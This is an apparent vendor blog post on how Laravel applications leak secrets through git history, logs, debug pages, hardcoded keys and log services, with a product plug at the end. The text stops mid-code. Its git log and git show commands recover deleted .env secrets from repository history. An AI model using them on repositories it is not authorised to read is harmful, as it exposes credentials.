&lt;p&gt;Configuration can often be committed to version control. Secrets should never be. The distinction matters because secrets require fundamentally different handling  different storage, different access controls, and a rotation plan for when they are compromised.&lt;/p&gt;

&lt;p&gt;Most Laravel developers put both in &lt;code&gt;.env&lt;/code&gt; and add &lt;code&gt;.env&lt;/code&gt; to &lt;code&gt;.gitignore&lt;/code&gt;. That solves one problem. It leaves five others untouched.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How Secrets Actually Leak&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;During internal testing of Kriosa, automated scanners were repeatedly observed probing for exposed &lt;code&gt;.env&lt;/code&gt; files, backup archives, and forgotten configuration endpoints. Those reconnaissance requests happen long before an attacker attempts exploitation which is why secret exposure should be treated as both a prevention and a detection problem, not just a deployment concern.&lt;/p&gt;

&lt;p&gt;Here is every vector through which secrets leave applications in practice.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Leak Vector 1 — Git History&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A developer accidentally commits &lt;code&gt;.env&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git add &lt;span class="nb"&gt;.&lt;/span&gt;
git commit &lt;span class="nt"&gt;-m&lt;/span&gt; &lt;span class="s2"&gt;"initial commit"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;They realize the mistake and delete the file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git &lt;span class="nb"&gt;rm&lt;/span&gt; .env
git commit &lt;span class="nt"&gt;-m&lt;/span&gt; &lt;span class="s2"&gt;"remove env file"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;They think the problem is solved. It is not.&lt;/p&gt;

&lt;p&gt;Git is designed to never lose history. The &lt;code&gt;.env&lt;/code&gt; file and every secret it contained are permanently stored in the Git object database. Anyone with access to the repository can retrieve them:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git log &lt;span class="nt"&gt;--all&lt;/span&gt; &lt;span class="nt"&gt;--full-history&lt;/span&gt; &lt;span class="nt"&gt;--&lt;/span&gt; .env
git show &lt;span class="o"&gt;[&lt;/span&gt;commit-hash]:.env
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every secret that was ever in that file is recoverable  even after deletion — unless the entire Git history is rewritten with a tool like &lt;code&gt;git filter-repo&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Automated tools scan public GitHub repositories continuously looking for accidentally committed secrets. Within minutes of a secret being pushed to a public repository it has likely been harvested.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What to do:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Add &lt;code&gt;.env&lt;/code&gt; to &lt;code&gt;.gitignore&lt;/code&gt; before the first commit  not after&lt;/li&gt;
&lt;li&gt;If secrets were committed use &lt;code&gt;git filter-repo&lt;/code&gt; to rewrite history&lt;/li&gt;
&lt;li&gt;Immediately rotate every secret that was ever in the committed file&lt;/li&gt;
&lt;li&gt;Never assume deletion from Git removes the data&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Leak Vector 2 — Log Files&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Laravel logs requests, errors, and debug information. If your application logs user input or request data  and many do  secrets can end up in log files in plain text.&lt;/p&gt;

&lt;p&gt;Common patterns that cause secret leakage into logs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Logs everything — including Authorization headers and API keys&lt;/span&gt;
&lt;span class="nc"&gt;Log&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Incoming request'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;all&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;

&lt;span class="c1"&gt;// Logs the full exception context — may include secrets in memory&lt;/span&gt;
&lt;span class="nc"&gt;Log&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Payment failed'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'data'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()]);&lt;/span&gt;

&lt;span class="c1"&gt;// Logs API responses that may contain tokens&lt;/span&gt;
&lt;span class="nc"&gt;Log&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;debug&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'API response'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'response'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$apiResponse&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If a user submits a form with a field named &lt;code&gt;api_key&lt;/code&gt; and you log &lt;code&gt;$request-&amp;gt;all()&lt;/code&gt; that key is now in your log file in plain text.&lt;/p&gt;

&lt;p&gt;Laravel provides a way to prevent specific fields from appearing in logs through the exception handler:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/Exceptions/Handler.php — Laravel 10 and earlier&lt;/span&gt;
&lt;span class="k"&gt;protected&lt;/span&gt; &lt;span class="nv"&gt;$dontFlash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s1"&gt;'current_password'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'password'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'password_confirmation'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Laravel does not automatically hide custom fields like &lt;code&gt;api_key&lt;/code&gt;, &lt;code&gt;token&lt;/code&gt;, or &lt;code&gt;stripe_key&lt;/code&gt;. If your application accepts them extend the &lt;code&gt;$dontFlash&lt;/code&gt; array or explicitly avoid logging those values:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;protected&lt;/span&gt; &lt;span class="nv"&gt;$dontFlash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s1"&gt;'current_password'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'password'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'password_confirmation'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'api_key'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'token'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'secret'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'stripe_key'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'aws_key'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Add every secret field name your application uses to this list.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Leak Vector 3 — Debug Mode and Error Pages&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When &lt;code&gt;APP_DEBUG=true&lt;/code&gt; in production, Laravel's error pages can expose sensitive configuration values, stack traces, file paths, and application internals. Depending on the error and configuration, this may include secrets or values derived from your environment.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;APP_DEBUG&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;false  ← non-negotiable in production&lt;/span&gt;
&lt;span class="py"&gt;APP_ENV&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;production&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Even with debug mode off, verbose error handling can expose secrets:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Stack traces may contain secret values that were in memory at the point of failure&lt;/span&gt;
&lt;span class="nc"&gt;Log&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$exception&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="nv"&gt;$exception&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getTrace&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Log the message. Be careful with the full trace when secrets may be in scope at the point of failure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Leak Vector 4 — Hardcoded Secrets in Code&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Developers sometimes hardcode secrets directly in code during development and forget to move them to environment variables before committing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous — committed to version control, visible to every developer&lt;/span&gt;
&lt;span class="nv"&gt;$stripe&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;StripeClient&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'sk_live_abc123def456'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Safe — loaded from config&lt;/span&gt;
&lt;span class="nv"&gt;$stripe&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;StripeClient&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'services.stripe.secret'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Hardcoded secrets are committed to version control, stored in deployment artifacts, visible in code reviews, and accessible to every developer with repository access. They are also the hardest to rotate because you have to find every place the secret appears in the codebase.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Leak Vector 5 — Third-Party Logging Services&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Many Laravel applications send logs to third-party services  Papertrail, Loggly, Datadog, Sentry. If secrets appear in your application logs they appear in these services too with their own retention policies, access controls, and security posture that you do not fully control.&lt;/p&gt;

&lt;p&gt;If you send logs to a third-party service audit what is in those logs. Secrets that appear there need to be rotated and the logging configuration needs to be fixed before the rotation has any meaningful effect.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Laravel-Specific Secret Management&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The APP_KEY&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Laravel's &lt;code&gt;APP_KEY&lt;/code&gt; is the most sensitive secret in a Laravel application. It is used to encrypt cookies, session data, and model fields encrypted with Laravel's encryption.&lt;/p&gt;

&lt;p&gt;If your &lt;code&gt;APP_KEY&lt;/code&gt; is compromised an attacker can decrypt all encrypted session data, forge signed cookies, and decrypt any fields encrypted with Laravel's encryption. Rotate it immediately if it is ever exposed  but be aware that rotating the &lt;code&gt;APP_KEY&lt;/code&gt; invalidates all existing sessions and encrypted data.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Generate a new APP_KEY&lt;/span&gt;
php artisan key:generate
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Using config() instead of env() directly&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is a Laravel best practice that most developers miss:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Wrong — does not work correctly when config is cached&lt;/span&gt;
&lt;span class="nv"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;env&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'STRIPE_SECRET_KEY'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Correct — works with config caching&lt;/span&gt;
&lt;span class="nv"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'services.stripe.secret'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once configuration is cached with &lt;code&gt;php artisan config:cache&lt;/code&gt;, you should only call &lt;code&gt;env()&lt;/code&gt; from configuration files. Application code should access configuration through &lt;code&gt;config()&lt;/code&gt;, ensuring values continue to work correctly when configuration is cached.&lt;/p&gt;

&lt;p&gt;Define secrets in config files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// config/services.php&lt;/span&gt;
&lt;span class="s1"&gt;'stripe'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s1"&gt;'secret'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;env&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'STRIPE_SECRET_KEY'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="s1"&gt;'webhook_secret'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;env&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'STRIPE_WEBHOOK_SECRET'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;],&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then access them through &lt;code&gt;config()&lt;/code&gt; in your application code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'services.stripe.secret'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Laravel's encrypted .env&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Recent versions of Laravel support encrypted environment files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Encrypt your .env file  safe to commit the encrypted version&lt;/span&gt;
php artisan &lt;span class="nb"&gt;env&lt;/span&gt;:encrypt

&lt;span class="c"&gt;# Decrypt on the server using the encryption key&lt;/span&gt;
php artisan &lt;span class="nb"&gt;env&lt;/span&gt;:decrypt &lt;span class="nt"&gt;--key&lt;/span&gt;&lt;span class="o"&gt;=[&lt;/span&gt;encryption-key]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This allows you to commit an encrypted &lt;code&gt;.env&lt;/code&gt; file to version control while keeping the decryption key separate. The decryption key itself must be stored and transmitted securely if it is compromised the encrypted file offers no protection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Secret Rotation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Secret rotation means replacing a compromised or expired secret with a new one. Most developers never think about rotation until something goes wrong. By then the window of exposure may already be significant.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rotate immediately when:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A secret was committed to a public repository&lt;/li&gt;
&lt;li&gt;A developer with access to secrets leaves the team&lt;/li&gt;
&lt;li&gt;A third-party service you use reports a breach&lt;/li&gt;
&lt;li&gt;Your server was compromised&lt;/li&gt;
&lt;li&gt;A secret appeared in logs that were accessed without authorization&lt;/li&gt;
&lt;li&gt;You suspect any unauthorized access to a system that holds secrets&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Laravel rotation checklist:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Generate a new value for the compromised secret&lt;/li&gt;
&lt;li&gt;Update &lt;code&gt;.env&lt;/code&gt; on every server&lt;/li&gt;
&lt;li&gt;Update the secret in CI/CD pipelines and deployment configurations&lt;/li&gt;
&lt;li&gt;Revoke the old secret at the source  revoke the API key, change the database password, regenerate the APP_KEY&lt;/li&gt;
&lt;li&gt;Verify the application works with the new secret&lt;/li&gt;
&lt;li&gt;Audit logs for evidence of use of the compromised secret&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;The rotation problem most developers ignore:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You cannot rotate a secret you do not know exists. If secrets are scattered across codebases, hardcoded in old scripts, stored in developers' local &lt;code&gt;.env&lt;/code&gt; files, and embedded in CI/CD configurations you cannot reliably rotate them when something goes wrong.&lt;/p&gt;

&lt;p&gt;This is why centralization matters. Every secret in one place, with one rotation process, auditable and controllable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Beyond .env — Secret Management for Production&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For production applications &lt;code&gt;.env&lt;/code&gt; files have real limitations. They are stored in plain text on the server. They are difficult to rotate across multiple servers simultaneously. They are not auditable. They are not versioned.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Options for Laravel in production:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AWS Secrets Manager:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$secret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Cache&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;remember&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s1"&gt;'db-secret'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;addMinutes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$client&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$client&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getSecretValue&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
            &lt;span class="s1"&gt;'SecretId'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'myapp/production/db'&lt;/span&gt;
        &lt;span class="p"&gt;]);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;json_decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'SecretString'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note the caching  without it every request hits the AWS API, adding latency and cost. Cache secrets locally for a short period and refresh them periodically.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Laravel Forge:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Laravel Forge provides a convenient interface for managing environment variables during deployment, but those values are still stored on the server. Forge simplifies management it is not a dedicated secret manager.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GitHub Actions Secrets and GitLab CI/CD Variables:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For CI/CD pipelines use your platform's built-in secret management rather than storing secrets in pipeline configuration files or repository variables visible to all developers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Secrets Security Checklist&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;.env&lt;/code&gt; is in &lt;code&gt;.gitignore&lt;/code&gt; before the first commit not after&lt;/li&gt;
&lt;li&gt;No secrets are hardcoded anywhere in the codebase&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;APP_DEBUG=false&lt;/code&gt; in all production environments&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;$dontFlash&lt;/code&gt; in the exception handler covers every secret field name your application uses&lt;/li&gt;
&lt;li&gt;Secrets are never logged  every &lt;code&gt;Log::&lt;/code&gt; call has been reviewed&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;config()&lt;/code&gt; is used instead of &lt;code&gt;env()&lt;/code&gt; directly in application code&lt;/li&gt;
&lt;li&gt;Every developer who leaves the team triggers immediate secret rotation&lt;/li&gt;
&lt;li&gt;Git history has been audited for accidentally committed secrets&lt;/li&gt;
&lt;li&gt;A rotation plan exists and has been tested for every secret in the application&lt;/li&gt;
&lt;li&gt;Production secrets are stored in a secret manager not a plain text &lt;code&gt;.env&lt;/code&gt; file&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Secret management is never about hiding a single &lt;code&gt;.env&lt;/code&gt; file.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It is about controlling where secrets live, limiting who can access them, rotating them when necessary, and detecting when someone is trying to steal them.&lt;/p&gt;

&lt;p&gt;In production, Kriosa monitors incoming request patterns for behavioral signals of secret probing — requests targeting &lt;code&gt;.env&lt;/code&gt; files, configuration endpoints, backup files, and Git metadata that may expose secrets. When reconnaissance activity targeting your secrets starts, the XAI dashboard surfaces it with an explanation of what was attempted and why it was flagged.&lt;/p&gt;

&lt;p&gt;Prevention reduces exposure. Detection reveals compromise. Mature security requires both.&lt;/p&gt;

&lt;p&gt;Try it free: &lt;strong&gt;kriosa.com&lt;/strong&gt;&lt;br&gt;
Install it: &lt;strong&gt;composer require kriosa-ai/kriosa-php&lt;/strong&gt;&lt;br&gt;
Then add,&lt;/p&gt;

&lt;p&gt;Then at the entry or index.php add at the top before your code runs.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;
&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="c1"&gt;// After Composer installation&lt;/span&gt;
&lt;span class="k"&gt;require_once&lt;/span&gt; &lt;span class="s1"&gt;'vendor/autoload.php'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nv"&gt;$apiKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'KRIOSA_API_KEY'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?:&lt;/span&gt; &lt;span class="s1"&gt;'YOUR_API_KEY_HERE'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$kriosa&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Kriosa&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$apiKey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="s1"&gt;'timeout'&lt;/span&gt;     &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;'debug'&lt;/span&gt;       &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;'fail_closed'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;'show_badge'&lt;/span&gt;  &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$kriosa&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;protect&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'X-Kriosa-Blocked: true'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nb"&gt;http_response_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Access Denied'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
